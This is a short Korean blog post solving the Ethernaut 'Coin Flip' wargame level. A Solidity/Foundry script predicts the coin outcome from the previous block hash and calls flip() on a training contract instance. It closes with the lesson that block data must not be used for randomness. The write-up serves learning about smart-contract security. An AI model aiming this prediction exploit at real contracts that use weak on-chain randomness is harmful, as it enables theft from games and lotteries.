The Ethernaut - 3. Coin Flip

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
4/26

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help

See the "?" page above in the top right corner menu, section "Beyond the console"

 


https://ethernaut.openzeppelin.com/help

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../src/coin_flip.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";

contract Player {
    uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(CoinFlip _coinFlipInstance) {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        _coinFlipInstance.flip(side);
    }
}

contract CoinFlipSolution is Script {

    CoinFlip public coinflipInstance = CoinFlip(0x8C3f38A6cB8a82B82d6F4539F2333Ca1b4101f97);

    function run() external {
        vm.startBroadcast(vm.envUint("user_private_key"));
        new Player(coinflipInstance);
        console.log("consecutiveWins: ", coinflipInstance.consecutiveWins());
        vm.stopBroadcast();
    }
}

 

알아야 할 점 : 어떤 컨트랙트에서도 접근할 수 있는 이런 랜덤 함수 말고, 온체인에서 암호학적으로 증명된 시드 사용하기!
블록체인 내부 리소스를 절대로 랜덤 함수에 사용하지 말기!

0개의 댓글